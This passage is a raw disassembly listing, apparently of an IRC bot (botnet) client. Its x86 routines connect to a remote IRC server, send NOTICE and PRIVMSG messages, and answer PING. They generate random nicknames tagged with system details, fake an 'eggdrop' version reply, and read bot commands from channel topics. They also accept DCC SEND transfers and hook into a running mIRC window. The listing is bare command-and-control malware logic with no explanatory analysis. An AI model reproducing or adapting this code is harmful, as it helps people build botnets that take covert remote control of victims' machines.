loc_408AB0:				; CODE XREF: sub_4088FC+1ADj
		push	edi
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_1B0]
		mov	[ebp+var_1B4], 94h
		rep stosd
		lea	eax, [ebp+var_1B4]
		push	eax
		call	ds:dword_411034	; GetVersionExA
		cmp	[ebp+var_1B0], 5
		pop	edi
		jnz	short loc_408AEB
		cmp	[ebp+var_1AC], 1
		jnz	short loc_408AEB
		push	1
		pop	esi


loc_408AEB:				; CODE XREF: sub_4088FC+1E1j
					; sub_4088FC+1EAj
		push	5Ah
		push	41h
		call	sub_40AADE
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_40AADE
		pop	ecx
		pop	ecx
		test	esi, esi
		push	eax
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20]
		push	5Dh
		push	[ebp+arg_4]
		push	5Bh
		push	5Dh
		push	eax
		push	5Bh
		lea	eax, [ebp+var_A0]
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		push	eax
		call	sub_410844	; sprintf
		add	esp, 34h
		cmp	byte_41786C, 0
		pop	ebx
		jz	short loc_408B7F
		mov	esi, offset dword_4177EC
		push	offset byte_41786C
		push	esi
		call	sub_410820	; _mbscpy
		push	esi
		call	sub_40AC4E
		add	esp, 0Ch
		cmp	byte_4178EC, 0
		jz	short loc_408B7F
		mov	esi, offset dword_418A78
		push	offset byte_4178EC
		push	esi
		call	sub_410820	; _mbscpy
		push	esi
		call	sub_40AC4E
		add	esp, 0Ch


loc_408B7F:				; CODE XREF: sub_4088FC+14Cj
					; sub_4088FC+246j ...
		lea	eax, [ebp+var_A0]
		push	eax
		push	offset dword_413DA8
		call	sub_408E60
		lea	eax, [ebp+var_A0]
		push	eax
		push	offset byte_418B78
		call	sub_410820	; _mbscpy
		add	esp, 10h


loc_408BA4:				; CODE XREF: sub_4088FC+D7j
					; sub_4088FC+FCj
		pop	esi
		leave
		retn
sub_4088FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_408BA7	proc near		; CODE XREF: sub_40735A+103Dp
					; sub_408F9D+3B8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	[esp+10h+arg_8]
		push	[esp+14h+arg_4]
		push	[esp+18h+arg_0]
		call	sub_408832
		push	dword_4186D4
		call	sub_403D27
		mov	edi, offset dword_4185C8
		mov	ebp, 0EA60h
		push	edi
		call	sub_40AC4E
		mov	esi, offset dword_4186C8
		push	esi
		call	sub_40AC4E
		mov	ebx, 2710h
		push	ebx
		push	1
		push	esi
		push	edi
		call	sub_403BBB
		push	edi
		mov	dword_4186D4, eax
		call	sub_40AC15
		push	esi
		call	sub_40AC15
		add	esp, 30h


loc_408C05:				; CODE XREF: sub_408BA7+B3j
		cmp	dword_4186D4, 0
		jnz	short loc_408C5C
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		call	sub_408832
		add	esp, 0Ch
		push	ebp
		call	ds:dword_4110A4	; Sleep
		cmp	ebp, 0A4CB80h
		jge	short loc_408C30
		add	ebp, 0EA60h


loc_408C30:				; CODE XREF: sub_408BA7+81j
		push	edi
		call	sub_40AC4E
		push	esi
		call	sub_40AC4E
		push	ebx
		push	1
		push	esi
		push	edi
		call	sub_403BBB
		push	edi
		mov	dword_4186D4, eax
		call	sub_40AC15
		push	esi
		call	sub_40AC15
		add	esp, 20h
		jmp	short loc_408C05
; ---------------------------------------------------------------------------


loc_408C5C:				; CODE XREF: sub_408BA7+65j
		push	1
		push	1
		call	sub_4088FC
		pop	ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_408BA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C6C	proc near		; CODE XREF: sub_401B81+14Dp
					; sub_40735A+8A6p ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4108B0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1000]
		push	offset aNoticeS	; "NOTICE %s :"
		push	eax
		call	sub_410844	; sprintf
		lea	ecx, [ebp+arg_8]
		push	ecx
		mov	ecx, 1000h
		push	[ebp+arg_4]
		sub	ecx, eax
		lea	eax, [ebp+eax+var_1000]
		push	ecx
		push	eax
		call	sub_410B00	; _vsnprintf
		lea	eax, [ebp+var_1000]
		push	offset asc_412214 ; "\r\n"
		push	eax
		call	sub_410856	; _mbscat
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	dword_4186D4
		call	sub_403D54
		add	esp, 34h
		leave
		retn
sub_408C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408CDE	proc near		; CODE XREF: sub_401B81+184p
					; sub_40287C+10Ep ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4108B0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1000]
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		push	eax
		call	sub_410844	; sprintf
		lea	ecx, [ebp+arg_8]
		push	ecx
		mov	ecx, 1000h
		push	[ebp+arg_4]
		sub	ecx, eax
		lea	eax, [ebp+eax+var_1000]
		push	ecx
		push	eax
		call	sub_410B00	; _vsnprintf
		lea	eax, [ebp+var_1000]
		push	offset asc_412214 ; "\r\n"
		push	eax
		call	sub_410856	; _mbscat
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	dword_4186D4
		call	sub_403D54
		add	esp, 34h
		leave
		retn
sub_408CDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D50	proc near		; CODE XREF: sub_4011C4+4Cp
					; sub_4011C4+21Bp ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4108B0
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+198h], 0
		jnz	loc_408E5D
		mov	eax, [esi+121h]
		push	edi
		cmp	eax, 1
		jnz	short loc_408D85
		lea	eax, [esi+21h]
		push	eax
		push	offset aNoticeS	; "NOTICE %s :"
		jmp	short loc_408DAA
; ---------------------------------------------------------------------------


loc_408D85:				; CODE XREF: sub_408D50+28j
		cmp	eax, 2
		jnz	short loc_408D95
		lea	eax, [esi+21h]
		push	eax
		push	offset dword_413EFC
		jmp	short loc_408DAA
; ---------------------------------------------------------------------------


loc_408D95:				; CODE XREF: sub_408D50+38j
		cmp	eax, 3
		lea	eax, [esi+21h]
		push	eax
		jnz	short loc_408DA5
		push	offset dword_413EEC
		jmp	short loc_408DAA
; ---------------------------------------------------------------------------


loc_408DA5:				; CODE XREF: sub_408D50+4Cj
		push	offset aPrivmsgS ; "PRIVMSG %s :"


loc_408DAA:				; CODE XREF: sub_408D50+33j
					; sub_408D50+43j ...
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_410844	; sprintf
		add	esp, 0Ch
		cmp	dword ptr [esi+19Fh], 0
		mov	edi, eax
		jz	short loc_408DE7
		mov	eax, [esi+121h]
		cmp	eax, 2
		jz	short loc_408DD4
		cmp	eax, 3
		jnz	short loc_408DE7


loc_408DD4:				; CODE XREF: sub_408D50+7Dj
		lea	eax, [ebp+var_1000]
		push	offset dword_413EE0
		push	eax
		call	sub_410856	; _mbscat
		pop	ecx
		pop	ecx


loc_408DE7:				; CODE XREF: sub_408D50+72j
					; sub_408D50+82j
		lea	eax, [ebp+arg_8]
		push	eax
		mov	eax, 1000h
		push	[ebp+arg_4]
		sub	eax, edi
		push	eax
		lea	eax, [ebp+edi+var_1000]
		push	eax
		call	sub_410B00	; _vsnprintf
		mov	esi, [esi+121h]
		add	esp, 10h
		cmp	esi, 2
		pop	edi
		jz	short loc_408E17
		cmp	esi, 3
		jnz	short loc_408E2A


loc_408E17:				; CODE XREF: sub_408D50+C0j
		lea	eax, [ebp+var_1000]
		push	offset dword_413EDC
		push	eax
		call	sub_410856	; _mbscat
		pop	ecx
		pop	ecx


loc_408E2A:				; CODE XREF: sub_408D50+C5j
		lea	eax, [ebp+var_1000]
		push	offset asc_412214 ; "\r\n"
		push	eax
		call	sub_410856	; _mbscat
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	dword_4186D4
		call	sub_403D54
		add	esp, 18h


loc_408E5D:				; CODE XREF: sub_408D50+18j
		pop	esi
		leave
		retn
sub_408D50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E60	proc near		; CODE XREF: sub_40287C:loc_402A05p
					; sub_404BC3+D8p ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4108B0
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_1000]
		push	[ebp+arg_0]
		push	1000h
		push	eax
		call	sub_410B00	; _vsnprintf
		lea	eax, [ebp+var_1000]
		push	offset asc_412214 ; "\r\n"
		push	eax
		call	sub_410856	; _mbscat
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	dword_4186D4
		call	sub_403D54
		add	esp, 28h
		leave
		retn
sub_408E60	endp


; =============== S U B	R O U T	I N E =======================================



sub_408EBA	proc near		; CODE XREF: sub_408EC8+Bp
		push	0
		push	offset aMirc	; "mIRC"
		call	ds:dword_4111F8	; FindWindowA
		retn
sub_408EBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_408EC8	proc near		; CODE XREF: sub_40735A+108Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[esp+0Ch+arg_0], edi
		jz	short loc_408F48
		call	sub_408EBA
		mov	esi, eax
		cmp	esi, edi
		mov	[esp+0Ch+var_4], esi
		jz	short loc_408F48
		push	ebx
		push	ebp
		push	offset aMirc	; "mIRC"
		push	1000h
		push	edi
		push	4
		push	edi
		push	0FFFFFFFFh
		call	ds:dword_4110C8	; CreateFileMappingA
		push	edi
		push	edi
		mov	ebx, eax
		push	edi
		push	0F001Fh
		push	ebx
		call	ds:dword_4110C4	; MapViewOfFile
		push	[esp+14h+arg_0]
		mov	ebp, eax
		push	ebp
		call	sub_410844	; sprintf
		pop	ecx
		pop	ecx
		push	edi
		push	1
		push	4C8h
		push	esi
		mov	esi, ds:dword_4111FC
		call	esi	; SendMessageA
		push	edi
		push	1
		push	4C9h
		push	[esp+20h+var_4]
		call	esi	; SendMessageA
		push	ebp
		call	ds:dword_4110C0	; UnmapViewOfFile
		push	ebx
		call	ds:dword_4110AC	; CloseHandle
		pop	ebp
		pop	ebx


loc_408F48:				; CODE XREF: sub_408EC8+9j
					; sub_408EC8+18j
		pop	edi
		pop	esi
		pop	ecx
		retn
sub_408EC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F4C	proc near		; CODE XREF: sub_40735A+B9p
					; sub_4088FC+144p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	edi
		push	ebx
		call	sub_410826	; strlen
		mov	ebp, eax
		xor	edi, edi
		test	ebp, ebp
		pop	ecx
		jle	short loc_408F99
		push	esi


loc_408F63:				; CODE XREF: sub_408F4C+4Aj
		mov	al, [edi+ebx]
		lea	esi, [edi+ebx]
		cmp	al, 23h
		jnz	short loc_408F73
		push	39h
		push	30h
		jmp	short loc_408F8A
; ---------------------------------------------------------------------------


loc_408F73:				; CODE XREF: sub_408F4C+1Fj
		cmp	al, 3Fh
		jnz	short loc_408F93
		call	sub_40AB30
		test	eax, eax
		jz	short loc_408F86
		push	7Ah
		push	61h
		jmp	short loc_408F8A
; ---------------------------------------------------------------------------


loc_408F86:				; CODE XREF: sub_408F4C+32j
		push	5Ah
		push	41h


loc_408F8A:				; CODE XREF: sub_408F4C+25j
					; sub_408F4C+38j
		call	sub_40AADE
		pop	ecx
		mov	[esi], al
		pop	ecx


loc_408F93:				; CODE XREF: sub_408F4C+29j
		inc	edi
		cmp	edi, ebp
		jl	short loc_408F63
		pop	esi


loc_408F99:				; CODE XREF: sub_408F4C+14j
		pop	edi
		pop	ebp
		pop	ebx
		retn
sub_408F4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F9D	proc near		; CODE XREF: sub_4098BB+1C4p

var_338		= byte ptr -338h
var_2BC		= byte ptr -2BCh
var_260		= byte ptr -260h
var_23F		= byte ptr -23Fh
var_1BC		= byte ptr -1BCh
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_13F		= dword	ptr -13Fh
var_13B		= byte ptr -13Bh
var_C1		= dword	ptr -0C1h
var_BC		= byte ptr -0BCh
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 338h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		push	offset aPing	; "PING"
		push	dword ptr [esi]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408FD0
		push	dword ptr [esi+4]
		push	offset aPongS	; "PONG	%s"


loc_408FC6:				; CODE XREF: sub_408F9D+39Ej
					; sub_408F9D+3FCj ...
		call	sub_408E60
		jmp	loc_40943F
; ---------------------------------------------------------------------------


loc_408FD0:				; CODE XREF: sub_408F9D+1Fj
		push	offset aPong	; "PONG"
		push	dword ptr [esi+4]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4098B6
		push	offset aMode	; "MODE"
		push	dword ptr [esi+4]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4098B6
		push	offset aPrivmsg	; "PRIVMSG"
		push	dword ptr [esi+4]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4091DA
		mov	eax, [esi+0Ch]
		xor	edi, edi
		cmp	eax, edi
		jz	loc_4091DC
		cmp	byte ptr [eax+1], 1
		jnz	loc_4091DC
		push	offset dword_413FF0
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40913E
		mov	eax, [esi+10h]
		cmp	eax, edi
		jz	loc_40913E
		push	offset aSend	; "SEND"
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40913E
		cmp	[ebp+arg_0], edi
		jz	loc_40913E
		mov	ecx, [esi+14h]
		cmp	ecx, edi
		jz	loc_4098B6
		cmp	[esi+18h], edi
		jz	loc_4098B6
		cmp	[esi+1Ch], edi
		jz	loc_4098B6
		mov	eax, [esi+20h]
		cmp	eax, edi
		jz	loc_4098B6
		cmp	byte ptr [ecx],	22h
		jz	loc_4098B6
		push	eax
		call	sub_410826	; strlen
		mov	ecx, [esi+20h]
		push	[ebp+arg_4]
		and	byte ptr [eax+ecx], 0
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_23F]
		push	offset dword_4177EC
		push	eax
		call	sub_410820	; _mbscpy
		push	7Ah
		lea	eax, [ebp+var_13B]
		push	edi
		push	eax
		mov	[ebp+var_13F], edi
		call	sub_410850	; memset
		push	dword ptr [esi+18h]
		mov	[ebp+var_C1], 1
		call	sub_41088C	; atoi
		movzx	ecx, al
		add	esp, 24h
		push	ecx
		mov	ecx, eax
		shr	ecx, 8
		movzx	ecx, cl
		push	ecx
		mov	ecx, eax
		shr	ecx, 10h
		movzx	ecx, cl
		shr	eax, 18h
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C]
		push	offset dword_412A58
		push	eax
		call	sub_410844	; sprintf
		push	dword ptr [esi+20h]
		lea	eax, [ebp+var_2C]
		push	dword ptr [esi+1Ch]
		push	eax
		lea	eax, [ebp+var_260]
		push	dword ptr [esi+14h]
		push	[ebp+arg_4]
		push	eax
		call	sub_401EA8
		add	esp, 30h
		jmp	loc_4098B6
; ---------------------------------------------------------------------------


loc_40913E:				; CODE XREF: sub_408F9D+9Ej
					; sub_408F9D+A9j ...
		push	offset dword_413FDC
		push	dword ptr [esi+0Ch]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40919E
		push	offset dword_413FD0
		push	dword ptr [esi+0Ch]
		call	sub_410AEE	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40919E
		push	offset dword_413FC8
		push	dword ptr [esi+0Ch]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409189
		push	offset dword_413FC0
		push	dword ptr [esi+0Ch]
		call	ds:dword_411110	; lstrcmp
		test	eax, eax
		jnz	short loc_4091DC


loc_409189:				; CODE XREF: sub_408F9D+1D8j
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		push	eax
		push	[ebp+arg_4]
		call	sub_408C6C
		jmp	loc_40943F
; ---------------------------------------------------------------------------


loc_40919E:				; CODE XREF: sub_408F9D+1B2j
					; sub_408F9D+1C5j
		cmp	[ebp+arg_0], edi
		jz	short loc_4091C3
		push	offset dword_41796C
		push	398h
		push	edi
		push	offset dword_413F9C
		push	[ebp+arg_4]
		call	sub_408C6C
		add	esp, 14h
		jmp	loc_4098B6
; ---------------------------------------------------------------------------


loc_4091C3:				; CODE XREF: sub_408F9D+204j
		push	offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
		push	offset dword_413F7C
		push	[ebp+arg_4]
		call	sub_408C6C
		jmp	loc_4094D1
; ---------------------------------------------------------------------------


loc_4091DA:				; CODE XREF: sub_408F9D+72j
		xor	edi, edi


loc_4091DC:				; CODE XREF: sub_408F9D+7Fj
					; sub_408F9D+89j ...
		push	offset a433	; "433"
		push	dword ptr [esi+4]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409340
		call	sub_40639B
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, 4
		mov	[ebp+arg_10], eax
		jnb	short loc_409243
		call	sub_404691
		test	eax, eax
		jnz	short loc_409243
		lea	eax, [ebp+var_BC]
		push	offset loc_4177DC
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_BC]
		push	eax
		call	sub_40AC4E
		lea	eax, [ebp+var_BC]
		push	eax
		call	sub_408F4C
		add	esp, 10h
		jmp	loc_40932F
; ---------------------------------------------------------------------------


loc_409243:				; CODE XREF: sub_408F9D+26Aj
					; sub_408F9D+273j
		call	sub_4045E4
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40587E
		test	eax, eax
		pop	ecx
		jnz	short loc_409266
		lea	eax, [ebp+var_3C]
		push	offset aUnk	; "UNK"
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_409266:				; CODE XREF: sub_408F9D+2B7j
		call	sub_406096
		mov	ecx, 400h
		cmp	eax, ecx
		jbe	short loc_40927B
		call	sub_406096
		jmp	short loc_40927D
; ---------------------------------------------------------------------------


loc_40927B:				; CODE XREF: sub_408F9D+2D5j
		mov	eax, ecx


loc_40927D:				; CODE XREF: sub_408F9D+2DCj
		shr	eax, 0Ah
		mov	[ebp+arg_4], eax
		call	sub_405C57
		cmp	eax, 3E8h
		mov	ebx, offset aB	; "B"
		jnb	short loc_409299
		mov	ebx, offset aA	; "A"


loc_409299:				; CODE XREF: sub_408F9D+2F5j
		cmp	eax, 1F4h
		jnb	short loc_4092A5
		mov	ebx, offset aG	; "G"


loc_4092A5:				; CODE XREF: sub_408F9D+301j
		push	24h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		mov	[ebp+var_150], 94h
		xor	esi, esi
		rep stosd
		lea	eax, [ebp+var_150]
		push	eax
		call	ds:dword_411034	; GetVersionExA
		cmp	[ebp+var_14C], 5
		jnz	short loc_4092E0
		cmp	[ebp+var_148], 1
		jnz	short loc_4092E0
		push	1
		pop	esi


loc_4092E0:				; CODE XREF: sub_408F9D+335j
					; sub_408F9D+33Ej
		push	5Ah
		push	41h
		call	sub_40AADE
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_40AADE
		pop	ecx
		pop	ecx
		test	esi, esi
		push	eax
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_3C]
		push	5Dh
		push	[ebp+arg_10]
		push	5Bh
		push	5Dh
		push	eax
		push	5Bh
		lea	eax, [ebp+var_BC]
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		push	eax
		call	sub_410844	; sprintf
		add	esp, 34h


loc_40932F:				; CODE XREF: sub_408F9D+2A1j
		lea	eax, [ebp+var_BC]
		push	eax
		push	offset dword_413DA8
		jmp	loc_408FC6
; ---------------------------------------------------------------------------


loc_409340:				; CODE XREF: sub_408F9D+250j
		push	offset aError	; "ERROR"
		push	dword ptr [esi]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40935F
		push	edi
		push	edi
		push	edi
		call	sub_408BA7
		jmp	loc_4094D1
; ---------------------------------------------------------------------------


loc_40935F:				; CODE XREF: sub_408F9D+3B3j
		push	offset aJoin	; "JOIN"
		push	dword ptr [esi+4]
		call	sub_410C94	; _strcmpi
		pop	ecx
		mov	edi, offset byte_418B78
		test	eax, eax
		pop	ecx
		jnz	short loc_40939E
		push	edi
		push	[ebp+arg_4]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40939E
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_40939E
		cmp	byte ptr [eax],	3Ah
		jnz	short loc_409393
		inc	eax


loc_409393:				; CODE XREF: sub_408F9D+3F3j
		push	eax
		push	offset aModeSSmntu ; "MODE %s +smntu"
		jmp	loc_408FC6
; ---------------------------------------------------------------------------


loc_40939E:				; CODE XREF: sub_408F9D+3D8j
					; sub_408F9D+3E7j ...
		push	offset a001	; "001"
		push	dword ptr [esi+4]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409446
		push	21h
		lea	eax, [ebp+var_3C]
		push	dword ptr [esi+8]
		push	eax
		call	sub_41083E	; strncpy
		lea	eax, [ebp+var_3C]
		push	eax
		push	edi
		call	sub_410820	; _mbscpy
		add	esp, 14h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aModeSXi	; "MODE	%s +xi"
		call	sub_408E60
		pop	ecx
		pop	ecx
		push	offset dword_418A78
		push	offset dword_4177EC
		push	offset dword_413A9C
		call	sub_408E60
		add	esp, 0Ch
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40882C
		push	eax
		call	sub_403443
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409420
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_403201
		test	eax, eax
		pop	ecx
		jz	short loc_40942E


loc_409420:				; CODE XREF: sub_408F9D+470j
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		jmp	loc_408FC6
; ---------------------------------------------------------------------------


loc_40942E:				; CODE XREF: sub_408F9D+481j
		lea	eax, [ebp+var_1BC]
		push	eax
		push	offset dword_418C78


loc_40943A:				; CODE XREF: sub_408F9D+571j
		call	sub_410820	; _mbscpy


loc_40943F:				; CODE XREF: sub_408F9D+2Ej
					; sub_408F9D+1FCj ...
		pop	ecx
		pop	ecx
		jmp	loc_4098B6
; ---------------------------------------------------------------------------


loc_409446:				; CODE XREF: sub_408F9D+412j
		push	offset a451	; "451"
		push	dword ptr [esi+4]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409463
		push	eax
		push	1
		call	sub_4088FC
		jmp	short loc_40943F
; ---------------------------------------------------------------------------


loc_409463:				; CODE XREF: sub_408F9D+4BAj
		push	offset a302	; "302"
		push	dword ptr [esi+4]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4094D9
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	loc_4098B6
		push	offset a@	; "@"
		push	esi
		call	sub_410898	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4098B6
		mov	esi, 100h
		lea	ebx, [eax+1]
		push	esi
		mov	edi, offset dword_418C78
		push	ebx
		push	edi
		call	sub_4052A6
		lea	eax, [ebp+var_1BC]
		push	eax
		push	ebx
		call	sub_403585
		add	esp, 14h
		test	al, al
		jz	loc_4098B6
		lea	eax, [ebp+var_1BC]
		push	esi
		push	eax
		push	edi
		call	sub_4052A6


loc_4094D1:				; CODE XREF: sub_408F9D+238j
					; sub_408F9D+3BDj
		add	esp, 0Ch
		jmp	loc_4098B6
; ---------------------------------------------------------------------------


loc_4094D9:				; CODE XREF: sub_408F9D+4D7j
		push	offset aNick	; "NICK"
		push	dword ptr [esi+4]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409513
		cmp	[esi+8], eax
		jz	loc_4098B6
		push	edi
		push	[ebp+arg_4]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4098B6
		mov	eax, [esi+8]
		inc	eax
		push	eax
		push	edi
		jmp	loc_40943A
; ---------------------------------------------------------------------------


loc_409513:				; CODE XREF: sub_408F9D+54Dj
		push	offset a332	; "332"
		push	dword ptr [esi+4]
		call	sub_410AEE	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4095FB
		mov	edi, [ebp+arg_10]
		mov	eax, [edi+10h]
		test	eax, eax
		jz	loc_4098B6
		mov	dl, [eax+1]
		lea	ecx, [eax+1]
		test	dl, dl
		jz	loc_4098B6
		cmp	dl, 3Dh
		jnz	short loc_409591
		add	eax, 2
		push	ecx
		push	eax
		call	sub_409AD3
		push	eax
		mov	eax, [edi+10h]
		inc	eax
		push	eax
		call	sub_409EB3
		mov	ebx, eax
		mov	eax, [edi+10h]
		inc	eax
		push	ebx
		push	eax
		call	sub_409E33
		mov	eax, [edi+14h]
		add	esp, 18h
		test	eax, eax
		jz	short loc_409589
		push	eax
		mov	eax, [edi+10h]
		lea	eax, [eax+ebx+1]
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_409591
; ---------------------------------------------------------------------------


loc_409589:				; CODE XREF: sub_408F9D+5D8j
		mov	eax, [edi+10h]
		and	byte ptr [eax+ebx+1], 0


loc_409591:				; CODE XREF: sub_408F9D+5ACj
					; sub_408F9D+5EAj
		mov	edi, [edi+10h]
		cmp	byte ptr [edi+1], 0
		lea	eax, [edi+1]
		jz	loc_4098B6
		lea	ecx, [ebp+arg_4]
		mov	edi, offset asc_413F20 ; "]["
		push	ecx
		push	edi
		push	eax
		call	sub_405733
		add	esp, 0Ch


loc_4095B4:				; CODE XREF: sub_408F9D+65Cj
		test	eax, eax
		jz	loc_4098B6


loc_4095BC:				; CODE XREF: sub_408F9D+625j
		cmp	byte ptr [eax],	20h
		jnz	short loc_4095C4
		inc	eax
		jmp	short loc_4095BC
; ---------------------------------------------------------------------------


loc_4095C4:				; CODE XREF: sub_408F9D+622j
		push	eax
		lea	eax, [ebp+var_2BC]
		push	dword ptr [esi+0Ch]
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		push	eax
		call	sub_41089E	; _snprintf
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_4098BB
		lea	eax, [ebp+arg_4]
		push	eax
		push	edi
		push	0
		call	sub_405733
		add	esp, 24h
		jmp	short loc_4095B4
; ---------------------------------------------------------------------------


loc_4095FB:				; CODE XREF: sub_408F9D+587j
		cmp	[ebp+arg_0], 0
		jz	loc_4098B6
		cmp	dword ptr [esi+8], 0
		jz	loc_4098B6
		cmp	dword ptr [esi+0Ch], 0
		lea	ebx, [esi+0Ch]
		jz	loc_4098B6
		push	offset byte_418B78
		push	[ebp+arg_4]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4098B6
		mov	eax, [ebp+arg_10]
		inc	dword ptr [ebx]
		add	eax, 0Ch
		push	offset aPrivmsg	; "PRIVMSG"
		mov	[ebp+var_14], eax
		inc	dword ptr [eax]
		push	dword ptr [esi+4]
